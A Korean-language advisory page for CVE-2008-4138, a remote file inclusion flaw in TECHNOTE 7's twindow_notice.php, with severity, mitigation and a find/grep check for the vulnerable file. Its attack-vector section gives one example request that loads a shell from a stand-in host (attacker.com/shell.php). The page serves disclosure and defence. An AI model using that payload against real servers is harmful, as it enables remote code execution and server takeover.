🔍 CVE-2008-4138

10.0
CVSS Score
HIGH
2008-09-24
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

TECHNOTE 7 스킨 플러그인의 twindow_notice.php 파일에서 shop_this_skin_path 파라미터를 통해 원격 파일을 포함할 수 있는 RFI(원격 파일 포함) 취약점입니다. 공격자는 악의적인 PHP 파일을 원격 서버에서 포함시켜 임의의 PHP 코드를 실행할 수 있습니다.

💡 쉬운 설명

웹사이트가 사용자가 입력한 파일 경로를 검증 없이 그대로 사용하여, 해커가 인터넷 어디서나 악성 파일을 로드할 수 있습니다. 이를 통해 웹 서버 전체를 장악당할 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in skin_shop/standard/3_plugin_twindow/twindow_notice.php in TECHNOTE 7 allows remote attackers to execute arbitrary PHP code via a URL in the shop_this_skin_path parameter.

📍 영향받는 시스템

TECHNOTE 7 (skin_shop/standard/3_plugin_twindow/ 디렉토리 포함 버전)

⚔️ 공격 벡터

HTTP GET/POST 요청의 shop_this_skin_path 파라미터에 원격 PHP 파일 URL 입력 예: ?shop_this_skin_path=http://attacker.com/shell.php

🛡️ 대응 방법

TECHNOTE 7을 최신 버전으로 업그레이드하거나 twindow_notice.php에서 shop_this_skin_path 파라미터 검증 추가 (화이트리스트 기반 경로 검증)

🔧 검증 코드

취약한 twindow_notice.php 파일 위치가 표시되면 해당 시스템이 영향받을 가능성이 있으며, 파일 내용을 검토하여 shop_this_skin_path 파라미터 검증 로직이 있는지 확인 필요

Shell / Script
find / -name 'twindow_notice.php' 2>/dev/null | xargs grep -l 'shop_this_skin_path' 2>/dev/null

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:C/I:C/A:C

💻 영향받는 소프트웨어

PHP